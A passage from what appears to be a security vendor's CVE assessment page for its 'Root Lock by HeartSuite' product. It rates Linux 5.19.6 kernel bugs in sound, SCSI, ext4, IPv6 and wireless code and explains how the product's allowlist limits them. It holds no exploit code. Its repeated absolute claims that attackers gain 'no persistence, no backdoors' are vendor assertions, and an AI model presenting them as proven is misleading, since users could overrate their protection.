CONFIG_PERF_EVENTS=y is compiled in and 5.19.6 falls within the affected range. On a Root Lock by HeartSuite system, perf_event_paranoid=3 restricts perf_event_open() to processes with CAP_SYS_ADMIN; no profiling or performance analysis tool appears in the HS allowlist. The exploitation path — loading and executing a non-allowlisted program — is blocked at the kernel execution gate before any perf subsystem interaction is possible. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2025-38572

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low

Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: net/ipv6/

What this means for an attacker:

syzbot demonstrated that a crafted IPv6 packet with excessively long chained extension headers causes skb->transport_header to overflow. The field is a __u16; when the cumulative extension header length wraps past 65535, the kernel misidentifies the transport layer offset when parsing subsequent headers, potentially accessing incorrect memory.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and the IPv6 stack processes all inbound IPv6 packets, including those with extension headers. This path is reachable from the network without requiring a local process. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root. An attacker cannot execute a new exploit program to escalate further — it has no allowlist entry and the kernel refuses to run it.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2025-38699

Status: Not Affected — CONFIG_SCSI_BFA_FC not compiled Component: Brocade bfa FC driver (CONFIG_SCSI_BFA_FC) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_BFA_FC not compiled in HS kernel

When the bfad_im_probe() function fails during initialization, the memory pointed to by bfad->im is freed without setting bfad->im to NULL.

CONFIG_SCSI_BFA_FC is not set in the HS 5.19.6 configuration. The Brocade bfa Fibre Channel HBA driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2025-38729

Status: Not exploitable Component: ALSA sound subsystem (CONFIG_SND) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no audio hardware present

UAC3 power domain descriptors need to be verified with its variable bLength for avoiding the unexpected OOB accesses by malicious firmware, too.

CONFIG_SND=y is compiled in. No audio hardware is present on a headless Debian 11 server. The ALSA subsystem does not create /dev/snd device nodes without an audio card. The ioctl path that exposes this bug is never instantiated.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-39702

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.0 HIGH (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 6.5 MEDIUM — Lockdown reduces MI: High→Low; AC:H reduces exploitability (Exp=1.05 vs 1.83 for AC:L)

Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: net/ipv6/

What this means for an attacker:

In net/ipv6/, a Message Authentication Code comparison used a variable-time function rather than a constant-time one (such as crypto_memneq()). An attacker who can observe response timing can iteratively determine whether partial MAC bytes are correct, eventually recovering a valid MAC and bypassing authentication in IPv6 protocol handling.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and 5.19.6 falls within the affected range. Exploiting a timing side-channel requires high network precision and repeated measurements (AC:H), which significantly reduces practical exploitability. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root. An attacker cannot execute a new exploit program to follow up on a bypassed MAC check — it has no allowlist entry and the kernel refuses to run it.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2025-39757

Status: Not exploitable Component: ALSA sound subsystem (CONFIG_SND) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no audio hardware present

UAC3 class segment descriptors need to be verified whether their sizes match with the declared lengths and whether they fit with the allocated buffer sizes, too.

CONFIG_SND=y is compiled in. No audio hardware is present on a headless Debian 11 server. The ALSA subsystem does not create /dev/snd device nodes without an audio card. The ioctl path that exposes this bug is never instantiated.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-39760

Status: Not exploitable Component: USB core (CONFIG_USB) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no USB device on headless HS server; descriptor parsing path unreachable

usb_parse_ss_endpoint_companion() checks descriptor type before length, enabling a potentially odd read outside of the buffer size.

CONFIG_USB=y is compiled in and 5.19.6 falls within the affected range. The usb_parse_ss_endpoint_companion() descriptor parsing path is triggered during USB device enumeration when a device is connected. Root Lock by HeartSuite runs on headless server hardware with no external USB devices; no USB device enumeration occurs, so the vulnerable descriptor parsing code path is never reached. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2025-39788

Status: Not exploitable Component: SCSI subsystem (CONFIG_SCSI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — UFS flash storage absent on x86 server

On Google gs101, the number of UTP transfer request slots (nutrs) is 32, and in this case the driver ends up programming the UTRL_NEXUS_TYPE incorrectly as 0.

CONFIG_SCSI=y is compiled in. UFS (Universal Flash Storage) is used in mobile and embedded platforms. This bug is in the Samsung Exynos UFS variant (ufs-exynos). A Debian 11 x86 server has no UFS hardware; the driver is never active.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2022-50306

Status: Not exploitable Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — mount() blocked by Lockdown; do_mount() returns EPERM

Affected range: Linux 5.10+; 5.19.6 falls within range
Upstream fix: fs/ext4/fast_commit.c

In fs/ext4/fast_commit.c, the fast commit replay scan loop reads the tag-length header (struct ext4_fc_tl, 4 bytes) before verifying that at least 4 bytes remain in the replay buffer. Mounting a filesystem whose fast commit area has been truncated or crafted to place fewer than 4 bytes at the tail causes an out-of-bounds read when parsing the next tag.

CONFIG_EXT4_FS=y is compiled in and 5.19.6 falls within the affected range. The vulnerable path runs during the fast commit replay scan triggered on mount of a filesystem whose fast commit area has a malformed tag-length header. On a Root Lock by HeartSuite system, sys_hs_lockdown_hs() blocks all mount paths at kernel/namespace.c:4218, 4300, 4453; do_mount() returns EPERM before any filesystem setup begins. No approved process in the HS allowlist carries a mount allowlist entry, and unapproved programs are refused execution by the kernel’s SPF gate regardless of file ownership or privilege. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2023-53257

Status: Not exploitable Component: mac80211 wireless stack (CONFIG_MAC80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present

Before checking the action code, check that it even exists in the frame.

CONFIG_MAC80211=y is compiled in. No WiFi network interface card is present on a server deployment. Without WiFi hardware, mac80211 creates no wireless interfaces and the relevant code paths are never reached.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2023-53282

Status: Not Affected — CONFIG_SCSI_LPFC not compiled Component: Emulex lpfc FC driver (CONFIG_SCSI_LPFC) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_LPFC not compiled in HS kernel

In drivers/scsi/lpfc/, lpfc_wr_object() performs a use-after-free read during the sysfs firmware write process. KFENCE detects that a firmware object buffer is read after being freed during the firmware update write sequence.

CONFIG_SCSI_LPFC is not set in the HS 5.19.6 configuration. The Emulex lpfc Fibre Channel HBA driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2023-53285

Status: Not exploitable Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — direct block device write requires CAP_SYS_RAWIO; no raw-device write tool in HS allowlist

Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: fs/ext4/inode.c

ext4 validates i_extra_isize when an inode is first loaded into memory (fs/ext4/inode.c:4794), confirming that the extra space falls within the inode’s allocated size. If an attacker writes directly to the block device while the filesystem is mounted, the raw on-disk inode can be modified so that i_extra_isize exceeds the previously verified bound. Subsequent access to in-inode extended attributes computes the xattr magic pointer as EXT4_GOOD_OLD_INODE_SIZE + ei->i_extra_isize without re-validating the updated value, allowing a read or write beyond the end of the inode body.

CONFIG_EXT4_FS=y is compiled in and 5.19.6 falls within the affected range. Exploiting this bug requires writing directly to the block device while the filesystem is mounted — an operation that requires root or CAP_SYS_RAWIO and a tool that issues raw writes to the block device (e.g., dd, badblocks, or a custom exploit program). On a Root Lock by HeartSuite system, no approved process in the HS allowlist writes raw block device data; the SPF allowlist blocks execution of any unapproved program at the kernel gate before the block device can be reached. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2023-53320

Status: Not Affected — CONFIG_SCSI_MPI3MR not set Component: Broadcom mpi3mr SAS driver (CONFIG_SCSI_MPI3MR) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_MPI3MR not compiled in HS kernel

In the mpi3mr driver, mpi3mr_get_all_tgt_info() has multiple issues in its device map handling: the function miscalculates the valid entry length in alltgt_info by incorrectly sizing the struct mpi3mr_device_map_info header, leading to out-of-bounds reads when iterating target device entries.

CONFIG_SCSI_MPI3MR is not set in the HS 5.19.6 configuration. The Broadcom mpi3mr SAS 3.0 HBA driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2023-53321

Status: Not exploitable Component: mac80211 wireless stack (CONFIG_MAC80211) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present

In net/mac80211/, control frames such as ACK frames that legally omit Address 2 and Address 3 are forwarded through wmediumd or similar userspace interfaces. The mac80211 frame parser does not enforce the full 3-address format before forwarding, potentially causing out-of-bounds reads in userspace frame consumers that assume the standard frame layout.

CONFIG_MAC80211=y is compiled in. No WiFi network interface card is present on a server deployment. Without WiFi hardware, mac80211 creates no wireless interfaces and the relevant code paths are never reached.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2023-53322

Status: Not Affected — CONFIG_SCSI_QLA_FC not compiled Component: QLogic qla2xxx FC driver (CONFIG_SCSI_QLA_FC) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_QLA_FC not compiled in HS kernel

System crash due to use after free. Current code allows terminate_rport_io to exit before making sure all IOs has returned.

CONFIG_SCSI_QLA_FC is not set in the HS 5.19.6 configuration. The QLogic qla2xxx Fibre Channel HBA driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2022-50378

Status: Not exploitable Component: DRM subsystem (CONFIG_DRM) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — Amlogic Meson ARM SoC GPU absent

In drivers/gpu/drm/meson/, unloading the Amlogic Meson display driver triggers a KASAN use-after-free. During driver teardown, a resource allocated during probe is accessed after the teardown path has freed it, producing a KASAN warning at module unload time.

CONFIG_DRM=y is compiled in. drm/meson is the display driver for Amlogic Meson SoC platforms (ARM-based embedded boards such as ODROID, Khadas, etc.). This driver and its hardware are not present on an x86 Debian 11 server.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2023-53376

Status: Not Affected — CONFIG_SCSI_MPI3MR not set Component: Broadcom mpi3mr SAS driver (CONFIG_SCSI_MPI3MR) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_MPI3MR not compiled in HS kernel

To allocate bitmaps, the mpi3mr driver calculates sizes of bitmaps using byte as unit.

CONFIG_SCSI_MPI3MR is not set in the HS 5.19.6 configuration. The Broadcom mpi3mr SAS 3.0 HBA driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2023-53392

Status: Not exploitable Component: HID subsystem (CONFIG_HID) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no USB HID input devices on headless server

In the Intel ISHTP HID driver, during a warm reset device->fw_client is set to NULL. If a bus driver is registered after this NULL assignment but before ISHTP completes re-enumeration of firmware clients, the driver dereferences the NULL fw_client pointer, triggering a kernel panic.

CONFIG_HID=y is compiled in. No USB human interface devices (keyboard, mouse, or other HID peripherals) are connected to a headless production server. HID device paths are never instantiated, making this code path unreachable.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-39841

Status: Not Affected — CONFIG_SCSI_LPFC not compiled Component: Emulex lpfc FC driver (CONFIG_SCSI_LPFC) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_LPFC not compiled in HS kernel

Fix a use-after-free window by correcting the buffer release sequence in the deferred receive path.

CONFIG_SCSI_LPFC is not set in the HS 5.19.6 configuration. The Emulex lpfc Fibre Channel HBA driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2025-39864

Status: Not exploitable Component: cfg80211 wireless framework (CONFIG_CFG80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present

In net/wireless/scan.c, cfg80211_update_known_bss() frees the last beacon frame of a BSS entry under conditions related to hidden SSID tracking (commit 776b3580178f). A race condition allows this beacon frame to be freed while still referenced by another code path, causing a use-after-free.

CONFIG_CFG80211=y is compiled in. No WiFi network interface card is present on a server deployment. cfg80211 manages wireless interfaces; without hardware, no interface is created and the affected code paths are unreachable.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-39866

Status: Affected Component: VFS writeback subsystem Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low

Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: fs/fs-writeback.c

What this means for an attacker:

In fs/fs-writeback.c, __mark_inode_dirty() acquires a reference to a bdi_writeback structure. A concurrent bdi_writeback_switch() can free the structure before the reference is dropped, resulting in a use-after-free when the writeback pointer is subsequently accessed.

Why HeartSuite does not reduce this to 0.0:

fs/fs-writeback.c is always compiled in on a system with block device support. The writeback subsystem is active for all block I/O on any mounted filesystem. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root. An attacker cannot execute a new exploit program — it has no allowlist entry and the kernel refuses to run it.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2022-50422

Status: Not Affected — CONFIG_SCSI_SAS_LIBSAS not set Component: SAS libsas library (CONFIG_SCSI_SAS_LIBSAS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_SAS_LIBSAS not compiled in HS kernel

When executing SMP task failed, the smp_execute_task_sg() calls del_timer() to delete “slow_task->timer”.

CONFIG_SCSI_SAS_LIBSAS is not set in the HS 5.19.6 configuration. The SAS libsas library — used by SAS host bus adapter drivers — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2022-50432

Status: Affected Component: kernfs subsystem (CONFIG_KERNFS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low

Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: fs/kernfs/dir.c

What this means for an attacker:

Syzkaller triggered concurrent calls to kernfs_remove_by_name_ns() for the same kernfs node, resulting in a KASAN-detected use-after-free in fs/kernfs/dir.c. The race occurs because kernfs_remove_by_name_ns() does not prevent concurrent removals of the same node from two threads.

Why HeartSuite does not reduce this to 0.0:

CONFIG_KERNFS=y is compiled in and 5.19.6 falls within the affected range. kernfs underpins sysfs and is active on every running Linux system. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root. An attacker cannot execute a new exploit program to trigger this path — it has no allowlist entry and the kernel refuses to run it.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2023-53473

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low

Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: fs/ext4/hash.c

What this means for an attacker:

In fs/ext4/hash.c, __ext4fs_dirhash() returns -1 in two cases: when a directory uses the DX_HASH_SIPHASH algorithm but the inode lacks an encryption key (line 271: “Siphash requires key”), and on an unknown hash version (line 280). Callers of ext4fs_dirhash() did not consistently check for this error and proceeded with a stale or zero hinfo->hash, potentially corrupting hash-tree directory lookups or writes.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server and directory lookups occur during normal operation. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root. An attacker cannot execute a new exploit program to trigger this path — it has no allowlist entry and the kernel refuses to run it.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2023-53510

Status: Not exploitable Component: SCSI subsystem (CONFIG_SCSI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — UFS flash storage absent on x86 server

ufshcd_queuecommand() may be called two times in a row for a SCSI command before it is completed.

CONFIG_SCSI=y is compiled in. UFS (Universal Flash Storage) is mobile/embedded storage. The ufshcd core driver is compiled in but never instantiated on an x86 server; no UFS host controller hardware is present.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2023-53521

Status: Not Affected — CONFIG_ENCLOSURE_SERVICES not set Component: SCSI Enclosure Services (CONFIG_ENCLOSURE_SERVICES) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — CONFIG_ENCLOSURE_SERVICES not compiled in HS kernel

In drivers/scsi/ses.c, ses_intf_remove() performs an out-of-bounds slab read when removing a SCSI Enclosure Services device. At ses_intf_remove+0x23f, a buffer access reads beyond its allocated boundary, as reported by KASAN during module removal by the rmmod task.

CONFIG_ENCLOSURE_SERVICES is not set in the HS 5.19.6 configuration. The SCSI Enclosure Services driver (ses) — and its dependence on SAS HBA infrastructure — is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2022-50488

Status: Not Affected Component: BFQ I/O scheduler (CONFIG_IOSCHED_BFQ) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_IOSCHED_BFQ not compiled in HS kernel

In block/bfq-iosched.c, a use-after-free occurs in bfq_select_queue() involving bfqq->bic. A BFQ I/O queue object is freed while a reference to its bic (BFQ I/O context) is still live, leading to a use-after-free when bfq_select_queue() subsequently accesses the freed bfqq pointer.

CONFIG_IOSCHED_BFQ is not set in the HS 5.19.6 configuration. The BFQ (Budget Fair Queueing) block I/O scheduler is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2022-50496

Status: Affected Component: device mapper (CONFIG_BLK_DEV_DM) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low

Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: drivers/md/dm-cache-target.c

What this means for an attacker:

In drivers/md/dm-cache-target.c, cache_resume() (line 2971) calls allow_background_work(), which schedules work on cache->wq. If cache_dtr() runs concurrently, destroy() (line 1881) frees cache->wq at line 1891 while those work items are still active, resulting in a use-after-free.

Why HeartSuite does not reduce this to 0.0:

CONFIG_BLK_DEV_DM=y is compiled in and device mapper is used for LVM on a standard Debian 11 installation. Triggering this race requires concurrent resume and destroy operations on a device mapper target. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root. An attacker cannot execute a new exploit program to set up this race — it has no allowlist entry and the kernel refuses to run it.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2022-50546

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low

Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: fs/ext4/inode.c

What this means for an attacker:

In ext4_evict_inode() (fs/ext4/inode.c:180), the function checks EXT4_I(inode)->i_flags & EXT4_EA_INODE_FL to determine whether the inode being evicted is an extended attribute inode. Under certain error paths during inode allocation, the ext4-specific i_flags field in ext4_inode_info is not fully initialized before the inode reaches eviction, causing the flag test to read from uninitialized memory. KMSAN reported the uninitialized-value access at this check.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and 5.19.6 falls within the affected range. ext4 is the primary filesystem on a Debian 11 server and inode eviction occurs during normal filesystem operation. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root. An attacker cannot execute a new exploit program to trigger this path — it has no allowlist entry and the kernel refuses to run it.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2023-53640

Status: Not exploitable Component: ALSA sound subsystem (CONFIG_SND) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no audio hardware present

In the ALSA sound subsystem, regcache_flat_read() performs a slab-out-of-bounds read. syzkaller reproduced a KASAN report showing an out-of-bounds read in the flat register cache read path, triggered through the ALSA register map interface.

CONFIG_SND=y is compiled in. No audio hardware is present on a headless Debian 11 server. The ALSA subsystem does not create /dev/snd device nodes without an audio card. The ioctl path that exposes this bug is never instantiated.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2023-53675

Status: Not Affected — CONFIG_ENCLOSURE_SERVICES not set Component: SCSI Enclosure Services (CONFIG_ENCLOSURE_SERVICES) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — CONFIG_ENCLOSURE_SERVICES not compiled in HS kernel

Sanitize possible desc_ptr out-of-bounds accesses in ses_enclosure_data_process().

CONFIG_ENCLOSURE_SERVICES is not set in the HS 5.19.6 configuration. The SCSI Enclosure Services driver (ses) is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2023-53676

Status: Not Affected — CONFIG_ISCSI_TARGET not compiled Component: Linux iSCSI target (CONFIG_ISCSI_TARGET) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_ISCSI_TARGET not compiled in HS kernel

In drivers/target/iscsi/, lio_target_nacl_info_show() uses sprintf() in a loop to print details for every iSCSI connection in a session without checking that the output buffer has sufficient remaining space, leading to a buffer overflow when a session contains many connections.

CONFIG_ISCSI_TARGET is not set in the HS 5.19.6 configuration. The Linux iSCSI target (drivers/target/iscsi/) subsystem is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2025-71075

Status: Not Affected — CONFIG_SCSI_AIC94XX not set Component: Adaptec aic94xx SAS driver (CONFIG_SCSI_AIC94XX) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_AIC94XX not compiled in HS kernel

The asd_pci_remove() function fails to synchronize with pending tasklets before freeing the asd_ha structure, leading to a potential use-after-free vulnerability.

CONFIG_SCSI_AIC94XX is not set in the HS 5.19.6 configuration. The Adaptec aic94xx SAS HBA driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2026-23076

Status: Not exploitable Component: ALSA sound subsystem (CONFIG_SND) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no audio hardware present

In the ALSA ctxfi audio driver’s mixer handling code, the conf field is used as a loop index and referenced in the index callbacks amixer_index() and sum_index(). Without a bounds check on conf, these callbacks can access mixer entries outside the allocated range, leading to an out-of-bounds read.

CONFIG_SND=y is compiled in. No audio hardware is present on a headless Debian 11 server. The ALSA subsystem does not create /dev/snd device nodes without an audio card. The ioctl path that exposes this bug is never instantiated.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2026-23078

Status: Not exploitable Component: ALSA sound subsystem (CONFIG_SND) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no audio hardware present

The scarlett2_usb_get_config() function has a logic error in the endianness conversion code that can cause buffer overflows when count > 1.

CONFIG_SND=y is compiled in. No audio hardware is present on a headless Debian 11 server. The ALSA subsystem does not create /dev/snd device nodes without an audio card. The ioctl path that exposes this bug is never instantiated.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2026-23089

Status: Not exploitable Component: ALSA sound subsystem (CONFIG_SND) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no audio hardware present

When snd_usb_create_mixer() fails, snd_usb_mixer_free() frees mixer->id_elems but the controls already added to the card still reference the freed memory.

CONFIG_SND=y is compiled in. No audio hardware is present on a headless Debian 11 server. The ALSA subsystem does not create /dev/snd device nodes without an audio card. The ioctl path that exposes this bug is never instantiated.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2026-23191

Status: Not exploitable Component: ALSA sound subsystem (CONFIG_SND) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no audio hardware present

The PCM trigger callback of aloop driver tries to check the PCM state and stop the stream of the tied substream in the corresponding cable.

CONFIG_SND=y is compiled in. No audio hardware is present on a headless Debian 11 server. The ALSA subsystem does not create /dev/snd device nodes without an audio card. The ioctl path that exposes this bug is never instantiated.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2026-23193

